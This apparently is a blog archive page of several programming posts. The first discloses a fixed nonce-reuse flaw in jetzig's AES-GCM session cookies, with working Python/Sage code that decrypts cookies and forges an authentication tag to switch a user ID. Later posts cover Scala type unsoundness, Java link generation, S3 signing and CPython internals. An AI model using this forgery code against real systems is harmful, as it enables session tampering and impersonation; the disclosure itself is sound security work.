In this blog post, I will demonstrate how a mistake in
jetzig’s session implementation could be used
to break confidentiality and integrity of session data. A fix has been
applied, so it is no longer possible to exploit the attack shown in the
following. All code samples in this post will be Python, due to Python’s
excellent math support through Sage.
This post is also available as a Sage notebook if
you want to follow allong interactively.
tl;dr: A nonce must never be used twice.
About jetzig’s sessions
Jetzig is a web framework for Zig. For
convenience, it comes with a session implementation that is based on
encrypted cookies: the server side encrypts all data with a key unknown
to the client and stores the encrypted data in a cookie. When the client
sends the cookie data back to the server, the server knows the decrypted
data originated from the server at some point.
The implementation of the encrypted cookie is (conceptually) as follows:
importjsonfromcryptography.hazmat.primitives.ciphers.aeadimportAESGCM# In jetzig's implementation, this is read from the `JETZIG_SECRET` environment variable# It's only hardcoded here for demonstration purposesSECRET=bytes(range(0,44))defencrypt(data):key=SECRET[:256//8]nonce=SECRET[len(key):]json_data=json.dumps(data).encode("utf-8")returnAESGCM(key).encrypt(nonce,json_data,None)
The result of encrypt would then be set as cookie data.
If you have a working knowledge of cryptography, you might already have
spotted the issue here. If not, I’ll explain it later on.
Interesting. The values start the same. Let’s XOR them. Same bytes will
then be \x00 afterwards. Let’s start with a little helper, because
XOR will be used quite a lot:
defxor(a,b):# In Sage, ^^ is used for XOR instead of ^ like in regular Pythonreturnbytes(byte_a^^byte_bforbyte_a,byte_binzip(a,b))
So the values start the same, then some differences, short same again,
then different again. What happens if we XOR 1234 and 9876, our
two user IDs?
xor(b"1234",b"9876")
b'\x08\n\x04\x02'
Oh look. It’s exactly one of the differences between the two session
cookie values. In fact, if you know the plain value of one session
cookie, you can use it to decrypt the other session cookie:
# Let's assume we know the plain value for the 1234 session, so we XOR it against the encrypted valuecipher_xor=xor(session_1234,b'{"user_id": "1234"}')# And then use the resulting XOR against the 9876 sessionplain_9876=xor(session_9876,cipher_xor)# And we get back the plain value for the other sessionplain_9876
b'{"user_id": "9876"}'
Not super great. Also not super bad. First, you probably don’t know the
plain session content (though you can guess, at least parts of it,
e.g. JSON delimiters). Second, once you know the cookie value for some
other user, you can use it to access the application on behalf of that
user (this is known as session
hijacking). No XOR
tricks necessary at all. Luckily for other users, you don’t know their
cookie values, only your own.
Modifying session values
So you don’t know other’s cookie value, but you know your own. And you
know where exactly the user ID is stored in the session, for example
because you signed up twice and got two different cookie values and
XORed them. Couldn’t you use this to modify the session and put in a
different ID? To test this, let me add the function to decrypt session
cookie values again:
Looks good. Next, let’s construct a new session cookie value. From
earlier, you know that XORing the encrypted value with the plain value
and then using the result to XOR another encrypted value gives you the
other plain value. So, using the XOR result with some plain value should
give you an encrypted value:
# User ID's start indexstart_idx=len(b'{"user_id": "')cipher_xor=xor(session_1234[start_idx:start_idx+len(b"1234")],b"1234")new_value=(session_1234[:start_idx]+xor(b"1337",cipher_xor)+session_1234[start_idx+len(b"1234"):])new_value
try:decrypt(new_value)exceptExceptionase:print("No success :(")print(f"Exception is {e!r}")
No success :(
Exception is InvalidTag()
Oh snap. Why does it throw an InvalidTag exception? It is because
jetzig uses AES-GCM to encrypt session cookies. AES-GCM is an
authenticated encryption, which means it’s designed to prevent exactly
what we tried to achieve: it detects that an encrypted value was
modified. To achieve this, an additional tag is appended to the
encrypted value. The tag is a hash of (among other things) the encrypted
value. This is the second difference we saw when we XORed
session_1234 with session_9876 above.
Unfortunately, when nonces are re-used in AES-GCM (and that is exactly
what jetzig did and perhaps you already spotted it right at the
beginning), it’s possible to recover the authentication key used to
calculate the authentication tag. This is possible with The forbidden
attack, described by Antoine Joux in Authentication Failures in NIST
version of
GCM.
A more verbose description how the attack works can be found in
Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in
TLS
by Hanno Böck and Aaron Zauner and Sean Devlin and Juraj Somorovsky and
Philipp Jovanovic.
Roughly sketched out, the attack works because AES-GCM uses a hash
function called GHASH for the authenticaton tag. GHASH is defined as
a computation over the Galois field GF(2128) and this field
is defined by the polynomial x128 + x7 + x2 + x + 1.
Due to the double use of the nonce, finding the authentication key can
be expressed as finding the roots of this polynomial. Again, see Böck et
al’s paper for more details.
The following code uses the idea from above (modify the encrypted
value), but additionally also calculates the correct authentication tag
for the modified value:
# The following code was initially taken from https://github.com/jvdsn/crypto-attacks/blob/master/attacks/gcm/forbidden_attack.py# Copyright (c) 2020 Joachim Vandersmissen and released under the MIT licensefromsage.allimportGFx=GF(2)["x"].gen()gf2e=GF(2**128,name="y",modulus=x**128+x**7+x**2+x+1)def_to_gf2e(n):"""
Converts an integer to a gf2e element, little endian.
"""returngf2e([(n>>i)&1foriinrange(127,-1,-1)])def_from_gf2e(p):"""
Converts a gf2e element to an integer, little endian.
"""n=p.to_integer()ans=0foriinrange(128):ans<<=1ans|=((n>>i)&1)returnansdef_ghash(h,a,c):"""
Calculates the GHASH polynomial.
"""la=len(a)lc=len(c)p=gf2e(0)foriinrange(la//16):p+=_to_gf2e(int.from_bytes(a[16*i:16*(i+1)],byteorder="big"))p*=hifla%16!=0:p+=_to_gf2e(int.from_bytes(a[-(la%16):]+bytes(16-la%16),byteorder="big"))p*=hforiinrange(lc//16):p+=_to_gf2e(int.from_bytes(c[16*i:16*(i+1)],byteorder="big"))p*=hiflc%16!=0:p+=_to_gf2e(int.from_bytes(c[-(lc%16):]+bytes(16-lc%16),byteorder="big"))p*=hp+=_to_gf2e(((8*la)<<64)|(8*lc))p*=hreturnpdefrecover_possible_auth_keys(a1,c1,t1,a2,c2,t2):"""
Recovers possible authentication keys from two messages encrypted with the same authentication key.
More information: Joux A., "Authentication Failures in NIST version of GCM"
:param a1: the associated data of the first message (bytes)
:param c1: the ciphertext of the first message (bytes)
:param t1: the authentication tag of the first message (bytes)
:param a2: the associated data of the second message (bytes)
:param c2: the ciphertext of the second message (bytes)
:param t2: the authentication tag of the second message (bytes)
:return: a generator generating possible authentication keys (gf2e element)
"""h=gf2e["h"].gen()p1=_ghash(h,a1,c1)+_to_gf2e(int.from_bytes(t1,byteorder="big"))p2=_ghash(h,a2,c2)+_to_gf2e(int.from_bytes(t2,byteorder="big"))forh,_in(p1+p2).roots():yieldhdefforge_tag(h,a,c,t,target_a,target_c):"""
Forges an authentication tag for a target message given a message with a known tag.
This method is best used with the authentication keys generated by the recover_possible_auth_keys method.
More information: Joux A., "Authentication Failures in NIST version of GCM"
:param h: the authentication key to use (gf2e element)
:param a: the associated data of the message with the known tag (bytes)
:param c: the ciphertext of the message with the known tag (bytes)
:param t: the known authentication tag (bytes)
:param target_a: the target associated data (bytes)
:param target_c: the target ciphertext (bytes)
:return: the forged authentication tag (bytes)
"""ghash=_from_gf2e(_ghash(h,a,c))target_ghash=_from_gf2e(_ghash(h,target_a,target_c))return(ghash^^int.from_bytes(t,byteorder="big")^^target_ghash).to_bytes(16,byteorder="big")# The last 16 bytes are the authentication tagcipher_1234=session_1234[:-16]tag_1234=session_1234[-16:]cipher_9876=session_9876[:-16]tag_9876=session_9876[-16:]# Construct a new encrypted value by replacing the encrypted user ID with a different encrypted ID# This is possible because the plain value for the user ID is known (it's typically displayed# somewhere in an application)user_id_xor=xor(cipher_1234[-len(b"1234")-2:-2],b"1234")attack_cipher=cipher_1234[:-len(b"1234")-2]+xor(user_id_xor,b"1337")+cipher_1234[-2:]# Recover the auth key and calculate a tag for our encrypted valuepossible_key=next(recover_possible_auth_keys(b"",cipher_1234,tag_1234,b"",cipher_9876,tag_9876))tag=forge_tag(possible_key,b"",cipher_1234,tag_1234,b"",attack_cipher)attack_value=attack_cipher+tagattack_value
Today's blog post originates from an internal presentation at my workplace and
describes the paper Java and Scala’s Type Systems are Unsound by Amin and Tate. Hence the
presented ideas are not really my own and all the praise goes to the paper's
authors. All mistakes are, of course, mine alone.
By the end of the post, you will see how to provoke a ClassCastException at
runtime without ever using a cast (or Scala's equivalent of a cast,
asInstanceOf). This post shows the Scala version of the paper, but it's worth
to mention that the same can be done for Java's type system (as shown in the
paper).
You can find a Jupyter notebook version of the blogpost here. It requires the Jupyter
Scala kernel to run.
Subtyping
If S is a subtype of T, any term of type S can be safely
used in a context where a term of type T is expected. This subtyping
relation is often written as S <: T. The subtyping relation
typically is also reflexive (A <: A) and transitive (A <: B and
B <: C implies A <: C), making it a preorder.
Example: Integer <: Number <: Object
Subtyping is also a form of type polymorphism (a single interface to
entities of different types), namely subtype polymorphism. Example:
ArrayList <: List.
Path-dependent types
Scala has path-dependent types. They allow values to have individualized
types associated with them. Note that the type is associated with the
value, not with the value’s type!
For example, given the following trait:
traitBox{typeContentdefrevealContent():Content}
defined trait Box
and the following two values:
valbox1:Box=newBox{typeContent=IntdefrevealContent():Int=42}valbox2:Box=newBox{typeContent=IntdefrevealContent():Int=21+21}// Note the different types and specifically that it's not Box.Content!
varcontent1:box1.Content=box1.revealContent()valcontent2:box2.Content=box2.revealContent()
cmd2.sc:1: not found: value Box
val c: Box.Content = box1.revealContent()
^
Compilation Failed
// Note the mix of box1 and box2!
valc2Prime:box1.Content=box2.revealContent()
cmd2.sc:1: type mismatch;
found : cmd2Wrapper.this.cmd1.wrapper.box2.Content
required: cmd2Wrapper.this.cmd1.wrapper.box1.Content
val c2Prime: box1.Content = box2.revealContent()
^
Compilation Failed
Using (witness) values to reason about code
It’s possible to use values as a proof that some other value has a
certain property. For example, we can define a trait LowerBound[T]
that reflects that a value of type T has a super class M.
// T is a subclass of M
traitLowerBound[T]{typeM>:T}
defined trait LowerBound
Now, with the help of that value, we can write an upcast function
that casts T to M, without ever using a cast:
defupcast[T](lb:LowerBound[T],t:T):lb.M=t// Proof that it works
valintLowerBound=newLowerBound[Integer]{typeM=Number}valint42:Integer=42valintAsNumber:Number=upcast(intLowerBound,int42)
defined function upcast
intLowerBound: AnyRef with LowerBound[Integer]{type M = Number} = $sess.cmd3Wrapper$Helper$$anon$1@306ad96a
int42: Integer = 42
intAsNumber: Number = 42
Note that it works because we state the subtyping relation M >: T
and Scala verifies that the relation holds. For example, trying to state
that Integer is a lower bound of String doesn’t work:
cmd4.sc:2: overriding type M in trait LowerBound with bounds >: Integer;
type M has incompatible type
type M = String
^
Compilation Failed
Reasoning about nonsense
Now comes the fun part: reasoning about nonsense. First, we introduce a
complementary trait UpperBound[U] that states that U is a
subtype of M.
traitUpperBound[U]{typeM<:U}
defined trait UpperBound
In Scala, it’s possible for a value to implement multiple, traits, hence
we can have a value of type LowerBound[T] with UpperBound[U] which
states the subtype relation T <: M <: U (that’s the reason why we
named the path-dependent type in both traits M, so we can express
this relation).
Note that a type system always only helps so much. We made the type
system argue for us about certain values, but the type system doesn’t
hinder us from expressing complete nonsense. For example, the following
compiles perfectly fine:
// We take a proof `bounded` that states that String <: M <: Integer and a value of
// bottom type String, and we will raise to the top and return an integer
defraiseToTheTop(bounded:LowerBound[String]withUpperBound[Integer],value:String):Integer={// Subtle, but: the LowerBound[String] allowes the upcast (because String <: M)
// On the other hand, the `UpperBound[Integer]` states that M <: Integer holds
// as well and because Scala allows subtypes as return value, we are totally fine
// returing the (intermediate) M as Integer!
returnupcast(bounded,value)}
defined function raiseToTheTop
Of course nothing good can come from such a function. On the other hand,
we can argue that while it’s a bit sad that the type system allows to
express such a type, nothing bad can happen really happen. The function
above only works because we have proof that the typing relation exists,
via the bounded witness value. We can only call the function if we
get hold of such a witness value. And we have seen above that it’s
impossible to construct such a witness value, because Scala checks the
typing relation expressed in the traits:
valproof=newLowerBound[String]withUpperBound[Integer]{typeM=???// what should we put here?
}
The billion dollar mistake
Tony Hoare, the “inventor” of null, once called it his billion
dollar mistake:
I call it my billion-dollar mistake. It was the invention of the null
reference in 1965. At that time, I was designing > the first
comprehensive type system for references in an object oriented
language (ALGOL W). My goal was to ensure that all use of references
should be absolutely safe, with checking performed automatically by
the compiler. But I couldn’t resist the temptation to put in a null
reference, simply because it was so easy to implement. This has led
to innumerable errors, vulnerabilities, and system crashes, which
have probably caused a billion dollars of pain and damage in the last
forty years.
And, as you might have already guessed from the title, it haunts as
again. Scala has the concept of implicit nulls, meaning that a null
value can take any type. Unfortunately for us, it also means that it can
take the nonsense type LowerBound[String] with UpperBound[Integer]:
valsadness:LowerBound[String]withUpperBound[Integer]=null// Et voilà, watch the impossible being possible
raiseToTheTop(sadness,"and that is why we can't have nice things")
java.lang.ClassCastException: java.lang.String cannot be cast to java.lang.Integer
$sess.cmd5Wrapper$Helper.raiseToTheTop(cmd5.sc:6)
$sess.cmd6Wrapper$Helper.<init>(cmd6.sc:4)
$sess.cmd6Wrapper.<init>(cmd6.sc:139)
$sess.cmd6$.<init>(cmd6.sc:90)
$sess.cmd6$.<clinit>(cmd6.sc:-1)
A ClassCastException was thrown - and we didn’t even use a single
cast in our code.
As a matter of fact, we can generalize our raiseToTheTop function to
coerce an arbitrary type to any type we want:
defcoerce[T,U](t:T):U={valbounded:LowerBound[T]withUpperBound[U]=nullreturnupcast(bounded,t)}// Same as before
coerce[String,Integer]("and that is why we can't have nice things")
java.lang.ClassCastException: java.lang.String cannot be cast to java.lang.Integer
$sess.cmd7Wrapper$Helper.<init>(cmd7.sc:7)
$sess.cmd7Wrapper.<init>(cmd7.sc:139)
$sess.cmd7$.<init>(cmd7.sc:90)
$sess.cmd7$.<clinit>(cmd7.sc:-1)
Nach einem Jahr der Blog-Abstinenz heute zur Erfrischung mal ein wenig Scala.
Nehmen wir an, wir haben die folgende login-Funktion, die REST-assured
nutzt, um HTTP-Requests für einen Login zu tätigen. Zurückgegeben wird ein Tupel
mit einem Access-Token und wie lange selbiges gültig ist.
deflogin(credentials:Credentials):(String,Int)={defjson=given()// Skipped: add the credentials somehow to the request
.post("…").Then.statusCode(HttpStatus.SC_OK).extract().jsonPath()(json.getString("access_token"),json.getInt("expires_in"))}
Manchmal gibt die Methode ein Access-Token zurück, das nicht gültig ist, obwohl
es laut der ebenfalls zurückgegebenen Gültigkeitsdauer noch lange gültig sein
sollte. Warum?
Sehr subtil, aber das def json = … sollte natürlich ein val json = …
sein. Ansonsten findet bei der Erstellung des Rückgabe-Tupel zwei mal ein Aufruf
der Funktion json statt: einmal bei der Auswertung von
json.getString("access_token") und das andere Mal bei der Auswertung von
json.getInt("expires_in"). Beides mal wird natürlich auch ein frischer
HTTP-Request abgesetzt. Es konnte daher passieren, dass für das Access-Token ein
Token zurückgegeben wurde, das gerade am ablaufen ist, und für den
expires_in-Wert wurde bereits ein neues Token ausgestellt. Daher sieht es so
aus, als wäre das Token noch lange gültig, dabei ist es bereits abgelaufen.
Im heutigen Blog-Post geht es um Webrahmenwerke. Genauer: es geht darum, wie man
auf typsichere Art und Weise Links zu Controllern erzeugt. Typsicher in dem
Sinne, dass man Variablen im Routing nur durch Werte des selben Typs ersetzen
kann, den der Controller auch tatsächlich erwartet. Übergibt man die falsche
Anzahl an Werten oder Werte des falschen Typs, soll der Code erst gar nicht
kompilieren – in anderen Worten: Es sollen nicht erst Exceptions zur Laufzeit
geworfen werden, sondern bereits beim kompilieren. Für das Beispiel beschränken
wir uns auf Pfad-Variablen.
Die Code-Beispiele für die Controller sind dabei lose an JAX-RS orientiert.
Es werden die folgenden Konventionen benutzt:
Methoden, die Requests behandeln, haben lediglich die Pfad-Variablen als
Parameter. Die Reihenfolge der Parameter ist dabei die Reihenfolge, in der sie
im Routing-Template definiert sind.
Note
In diesem Blog-Beitrag wird nur die Methode vorgestellt, mit der man Links
erstellen kann. Ein Router, der Requests auf Controller dispatcht, wird nicht
vorgestellt.
Außerdem wird eine gewisse Vertrautheit mit Java 8 (insbesondere Lambdas)
vorausgesetzt sowie auch ein wenig mit JAX-RS. Für eine Intro zu Lambdas
siehe etwa den Lambda Quick Start
Prior Art
Da Links erzeugen ein Recht häufiges Problem ist, gibt es natürlich so einiges
an Prior Art. Wahrscheinlich in so ziemlich jedem Webrahmenwerk, in den
unterschiedlichsten Ausprägungen. Ich habe stellvertretend einmal drei
herausgegriffen:
Zeigt schon mal die grobe Idee, wenn auch in Python und nicht in Java. Gewisse
Fehler werden abgefangen (falsche Anzahl an Argumenten zum Beispiel).
Allerdings passiert alles zur Laufzeit. Man braucht also eine recht gut
ausgeprägte Test-Suite, um Fehler beim Linken zu erkennen.
Allerdings funktioniert die Methoden-Auflösung zur Laufzeit und via Name als
String. Die Parametertypen müssen explizit angegeben werden und die
Typüberprüfung passiert ebenfalls erst zur Laufzeit.
Warum nicht Methodenreferenzen?
Da Java 8 endlich Methodenreferenzen eingeführt hat, liegt natürlich die Idee
nahe, es damit irgendwie zu versuchen.
Stellen wir uns vor, dass wir den folgenden Controller hätten:
Als erstes erstellen wir ein FunctionalInterface.
Das Interface soll eine Referenz auf eine Methode der Klasse H darstellen,
die keine Parameter entgegen nimmt und ein R als Ergebnis zurück gibt.
Dementsprechend sieht das Interface wie folgt aus:
Dieses Interface kann aus einer Methodenreferenz erstellt werden:
NoParam<HelloWorldController,String>hello=HelloWorldController::hello;// Aufrufen könnte man die Methode jetzt so (angenommen,
// someHelloWorldController ist eine Instanz von HelloWorldController):
Stringresult=hello.apply(someHelloWorldController);assert"Hello, world!".equals(result);
Folglich können wir damit dann die folgende Methode bauen:
<H,R>URIlinkTo(NoParam<H,R>handler){// Hier der Code, der die Routing-Informationen von handler ausliest und
// daraus dann eine URI baut
}
Jetzt ist es möglich, aus einem anderen Controller heraus einen Link zu unserer
gewünschten Methode HelloWorldController#hello() zu bauen:
URIhelloLink=linkTo(HelloWorldController::hello);
Wenn wir ein Argument zu viel übergeben würden (zum Beispiel, weil wir
denken, dass die hello-Ressource einen Namen entgegen nimmt, um einen
personalisierten Gruß zu erzeugen, kompiliert der Code nicht:
java: no suitable method found for linkTo(HelloWorldController::hello)
Ziel erreicht. Um tatsächlich Pfad-Parameter zu unterstützen, müssen wir jetzt
einfach (relativ mechanisch) weitere Interfaces einführen.
Erweitern wir zunächst unseren Controller um einen personalisierten Gruß:
Wenig überraschend steht H hierbei für den Typ des Controllers, P für
den Parameter und R für den Rückgabewert.
Desweiteren muss eine weitere Überladung von linkTo eingeführt werden:
URIlinkTo(OneParam<H,P,R>handler,Pparam){// Hier wieder Routing-Infos von handler auslesen und dann param einsetzen
}
Das ist zum Implementieren zwar ein wenig wortreich (für jede Anzahl an
Pfad-Variablen ein eigenes Interface und eine entsprechende linkTo-Methode),
aber das muss man zum Glück nur einmal tun und außerdem hat man ja auch nicht unendlich
lange Pfade in der Praxis.
Viel gravierender ist jedoch: es funktioniert überhaupt nicht. Man kann zwar aus
einer Methodenreferenz ein Lambda bauen. Allerdings geht die Information, aus
welcher Methode das Lambda erzeugt wird, dabei verloren. Wir brauchen die
Information, um welche Methode es sich handelt, jedoch, da wir ansonsten nicht
an die Route kommen.
Proxies to the rescue
Da die Antwort auf die meisten Probleme in Java "(dynamische) Code-Generierung"
ist, probieren wir es doch auch einmal damit. Genauer gesagt dynamische
Proxy-Objekte. Die Idee ist dabei folgendermaßen:
Wir erzeugen uns ein Proxy-Objekt vom gleichen Typ der Handler-Klasse.
Wir rufen die Methode auf, die übergeben wurde (genauer gesagt, das Lambda)
Das Proxy-Objekt ruft nicht wirklich die eigentliche Methode auf, sondern
merkt sich einfach, welche Methode aufgerufen wurde.
Wir holen uns die gemerkte Methode vom Proxy-Objekt.
Gehen wir davon aus, dass wir eine Klasse MethodResolver<T>, die die
Proxy-Objekte erstellt, könnte unsere linkTo-Methode also in der Art
aussehen:
URIlinkto(Class<H>handlerClass,OneParam<H,P,R>handler,Pparam){MethodResolver<H>methodResolver=MethodResolver.on(handlerClass);handler.apply(methodResolver,param);Methodmethod=methodResolver.resolve();// Mit handlerClass und method kann man jetzt an die Routing-Informationen
// kommen
}
Die meisten AOP-Rahmenwerke bieten Method-Interceptors an, mit denen man das
recht einfach umsetzen kann. Für Proxetta könnte ein entsprechendes Advice zum
Beispiel so aussehen:
/**
* MethodResolver advice applied on all methods. It puts the method in a class
* variable that can be accessed later using reflection.
*/classMethodResolverAdviceimplementsProxyAdvice{publicMethodmethod;publicObjectexecute(){finalClass<?>targetClass=targetClass();finalStringmethodName=targetMethodName();finalClass<?>[]argumentTypes=createArgumentsClassArray();try{method=targetClass.getMethod(methodName,argumentTypes);}catch(NoSuchMethodExceptione){thrownewRuntimeException(e);}returnreturnValue(null);}}
Pithos, ein S3-Klon, der Cassandra zur Ablage benutzt, unterstützt aktuell
nur Signaturen in V2. S3
unterstützt inzwischen aber eigentlich nur noch V4,
weswegen der offizielle AmazonS3Client
ein paar Probleme bei der Verwendung mit Pithos macht:
Exception in thread "main" com.amazonaws.services.s3.model.AmazonS3Exception: The request signature we calculated does not match the signature you provided. Check your key and signing method. (Service: Amazon S3; Status Code: 403; Error Code: SignatureDoesNotMatch; Request ID: 1e04fbc1-bf91-4bb3-af1e-6829ce549524), S3 Extended Request ID: 1e04fbc1-bf91-4bb3-af1e-6829ce549524
at com.amazonaws.http.AmazonHttpClient.handleErrorResponse(AmazonHttpClient.java:1182)
at com.amazonaws.http.AmazonHttpClient.executeOneRequest(AmazonHttpClient.java:770)
at com.amazonaws.http.AmazonHttpClient.executeHelper(AmazonHttpClient.java:489)
at com.amazonaws.http.AmazonHttpClient.execute(AmazonHttpClient.java:310)
at com.amazonaws.services.s3.AmazonS3Client.invoke(AmazonS3Client.java:3608)
at com.amazonaws.services.s3.AmazonS3Client.getObject(AmazonS3Client.java:1135)
at com.amazonaws.services.s3.AmazonS3Client.getObject(AmazonS3Client.java:1015)
...
Mit einem kleinen (Trick|Hack) kann man den Client dann aber trotzdem dazu
bewegen, V2 zum Signieren zu benutzen:
Wenn man händisch CPython-Erweiterungen mit Hilfe der C-API baut (und
nicht etwa Cython oder Ähnliches benutzt), läuft man leider sehr
leicht Gefahr, dass man versehentlich Reference Leaks einbaut.
Um das Auffinden von Refleaks zu erleichtern, zählt CPython bei einem
Debug-Build die Summe aller Referenzen:
Python 3.4.0a0 (default:9214f8440c44, Nov 11 2012, 00:15:25)[GCC 4.7.1] on linuxType "help", "copyright", "credits" or "license" for more information.>>>[60488 refs]>>> n=42[60490 refs]
Die Summe der Referenzen ist die Zahl zwischen den []. In diesem
Beispiel hat sich die Gesamtanzahl der Referenzen um zwei erhöht, weil
die Zahl 42 an zwei Namen gebunden wurde: einmal an n und einmal
an _, weil Python im interaktiven Modus immer unter _ eine
Referenz auf den letzten Wert hält.
Die Gesamtanzahl der Referenzen kann man in Debug-Builds auch
programmatisch über die Funktion sys.gettotalrefcount erhalten. Also
liegt es nahe, dass man versucht, Refleaks automatisch zu finden,
beispielsweise, indem man die Gesamtanzahl der Referenzen vor und nach
einem Testlauf betrachtet.
Die Idee ist hierbei recht einfach: Wird die Test-Suite mit einem
Debug-Python ausgeführt, wird jeder Test fünf mal ausgeführt. Bei den
letzten zwei Durchläufen wird dann die Gesamtzahl der Referenzen vor
und nach dem Test verglichen. Die drei Durchläufe vorher werden nicht
ausgewertet, damit sich die Zahl der Referenzen erst auf einen Wert
einpendeln kann (beispielsweise, wenn Caches im Test eine Rolle
spielen etc.).
Im Folgenden eine simple Umsetzung der Idee für das klassische
unittest-Modul:
Anzumerken ist hierbei, dass bei umfangreichen Testsuites _cleanup
noch erweitert werden muss. Beispielsweise muss man die ABC-Registry
aufräumen, Caches (re, struct, urllib, linecache) und warnings müssen
aufgeräumt werden, etc.
Jetzt muss man nur noch unittest beibringen, dass es die obige
TestSuite benutzen soll. Benutzt man keinen besonderen Test-Runner,
kann man das beispielsweise einfach wie folgt tun:
Führt man die Tests jetzt aus, führt das zu folgender Ausgabe:
.....<__main__.SpamTest testMethod=test_observable> leaks: [40, 40]
----------------------------------------------------------------------
Ran 5 tests in 0.007s
Jetzt weiß man zumindest, dass der Test test_observable leckt. Was
genau leckt, muss man aber immer noch selbst herausfinden. Was nicht
unbedingt immer leicht und offensichtlich ist.
In Python 3 gibt es ein neues Statement nonlocal, das es erlaubt,
bei verschachtelten Funktionen in der inneren Funktion einen neuen
Wert an einen lokalen Namen der äußeren Funktion zu binden. In Python
2 war es nur möglich, sich auf einen lokalen Namen der äußeren
Funktion zu beziehen.
Note
Der größte Teil dieses Blogeintrags dürften
Implementierungsdetails von CPython sein und müssen keinesfall für
andere Python-Implementierungen gelten.
Dazu schauen wir uns als erstes eine Funktion näher an:
deff():local_name=42
(In Python implementierte) Funktionien haben in CPython ein
sogenanntes Code-Objekt, das als func_code-Attribut (in Python 3
als __code__-Attribute) an die Funktion gebunden ist. In ihm sind
der Bytecode, alle verwendeten lokalen Namen und Konstanten und andere
Informationen gespeichert. All das ist direkt in Python selbst
benutzbar und sollte durchaus einmal im interaktiven Interpreter
ausprobiert werden. Der generierte Bytecode für diese Funktion sieht
wie folgt aus (die Ausgabe wurde mit dem dis-Modul von Python
gemacht):
Dabei ist die 2 in der ersten Spalte die Zeilennummer, die Spalte
rechts davon ist der Offset des Opcodes im Bytecode, gefolgt vom
Opcode selbst und (falls vorhanden) einem Argument. In Klammern steht
dann jeweils, was das Argument bedeutet.
Im konkreten Fall für die Funktion f wird also zunächst die
Konstante 1 geladen, in unserem Fall ist das 42. 42 ist hierbei im
co_consts-Attribut des Code-Objekts gespeichert. Diese 42 wird dann
auf einem internen Stack der CPython-VM abgelegt. Der nächste Opcode,
STORE_FAST, speichert den obersten Wert vom Stack in die lokale
Variable local_name. Lokale Variablen werden dabei einfach als Array
im aktuellen Frame umgesetzt (wobei dieses Array nicht von Python aus
erreichbar ist). Der Opcode speichert also einfach den Wert als ersten
Eintrag im Array. Falls jemand auf den lokalen Namensraum als Dict
zugreifen wird (etwa über locals() oder das f_locals-Attribut
eines Frames), wird das Dict des lokalen Namenraumes dann einfach mit
den Werten aus dem Array aktualisiert. Die benötigten Informationen,
nämlich die Namen der lokalen Variablen, finden sich im
co_varnames-Attribut des Code-Objekts.
Als nächstes wird dann die Konstante None geladen und zurückgegeben
(da eine Funktion in Python ja implizit None zurückgibt, wenn kein
anderer Rückgabewert angebeben wurde).
Als nächstes betrachten wir eine Funktion, die eine geschachtelte
Funktion zurückgibt, die einen Namen der äußeren Funktion benutzt:
Was hat sich geändert? Zunächst einmal fällt auf, dass in outer()
nicht mehr STORE_FAST zum Speichern der lokalen Variable benutzt
wird, sondern STORE_DEREF. Das liegt daran, dass outer_name von
der inneren Funktion benutzt wird. Anstatt in einem Array wird der
Wert jetzt in einem sogenannten Cell-Objekt gespeicher (wobei diese
Cell-Objekte wiederum auch in einem Array im Frame gespeichert
werden). outer_name ist auch nicht mehr in co_varnames
aufgelistet, sondern in co_cellvars. Als nächstes wird dieses
Cell-Objekt dann auf den Stack geladen (mit LOAD_CLOSURE) und in ein
Tupel gepackt (BUILD_TUPLE). Dieses Tupel bildet dann das
func_closure-Attribut der neuen Funktion inner(), die mit
MAKE_CLOSURE erstellt wird. Schließlich wird die neu erstellte
Funktion, die sich oben auf dem Stack befindet, mit STORE_FAST an
den lokalen Namen inner gebunden, wieder geladen und zurückgegeben.
In inner() wird einfach der Wert aus dem Cell-Objekt geladen, das
aus func_closure genommen wird und zurückgegeben. Genau genommen
werden die Cell-Objekte aus func_closure zum Array der Cell-Objekte
im Frame hinzugefügt, wenn das Frame erstellt wird.
Was passiert jetzt, wenn man in inner()outer_name einen Wert
zuweist?
Wie man sieht, wird outer_name in inner() automatisch zu einer
lokalen Variable, der Wert in outer() selbst wird nicht
geändert. Versucht man vorher außerdem auf outer_name zuzugreifen,
erhält man einen UnboundLocalError.
Für diesen Fall bietet Python 3 das neue nonlocal-Statement. Damit
kann man in inner() sagen, dass man den Wert in outer() ändern
mag:
Wie man sieht, wird zum Laden der Variable wieder LOAD_DEREF
benutzt. Was jetzt aber interessant ist: Zum Speichern wird
STORE_DEREF benutzt, also derselbe Opcode, der auch in outer()
benutzt wird. Was ja auch eigentlich logisch ist, denn in beiden
Fällen wird der Wert in ein Cell-Objekt geschrieben -- sogar in
dasselbe Cell-Objekt. Das bringt uns also zur folgenden Erkenntnis:
Das nonlocal-Statement wäre auch problemlos in Python 2.x möglich,
es fehlt nur die Syntax dafür (und natürlich auch die
Compiler-Unterstützung).
Also werden wir im Folgenden probieren, das nonlocal-Statement in
Python 2.x umzusetzen. Dazu müssen in der inneren Funktion alle
STORE_FAST-Opcodes für einen nonlocal-Namen durch STORE_DEREF
ersetzt werden und alle LOAD_FAST durch LOAD_DEREF. Außerdem
müssen die Namen dann zu co_freevars hinzugefügt werden. Man kann
ein Code-Objekt jedoch nicht einfach so verändern, sondern muss ein
neues erstellen. Da man Funktionen verändert, drängt sich ein
Dekorator geradezu auf:
Dabei zeigt sich ein weiteres Problem: Man muss an die Cell-Objekte
der äußeren Funktion bekommen. Dies tun wir, indem wir nach jedem
STORE_DEREF (also jedes mal, wenn ein Wert in ein Cell-Objekt
geschrieben wird), zwei weitere Opcodes einfügen: LOAD_CLOSURE und
STORE_FAST. Damit wird direkt nach dem Speichern das Cell-Objekt auf
den Stack geladen und in einem lokalen Namen gespeichert. Dazu führen
wir für jeden Namen, der ein Cell-Objekt hat, eine lokale Variable
_[<Name>] ein. Die [] deshalb, dass der Name nicht mit einem
anderen lokalen Namen zu Konflikten führt. Im Dekorator der inneren
Funktion kann man dann einfach über f_locals vom Frame des
Aufrufers auf die Cell-Objekte zugreifen, den man mit
sys_getframe(1) bekommt. Der Dekorator für die äußere Funktion
sieht also so aus:
Dabei ist anzumerken, dass dabei nicht alle Fälle abgedeckt sind und
außerdem davon ausgegangen wird, dass die äußere Funktion bereits
Cell-Objekte für die nonlocal-Namen benutzt (in diesem Fall wird dies
ausgelöst durch die getter()-Funktion).
Außerdem wird Code-Klasse von Aaron Gallagher benutzt, die bereits
aus einem vorigen Blogeintrag bekannt ist:
Scott Meyers auf die Frage, welche drei Dinge er am wenigsten mag in C++:
I'd like to answer this question with "complexity, complexity,
complexity!", but naming the same thing three times is
cheating. Still, I think that C++'s greatest weakness is
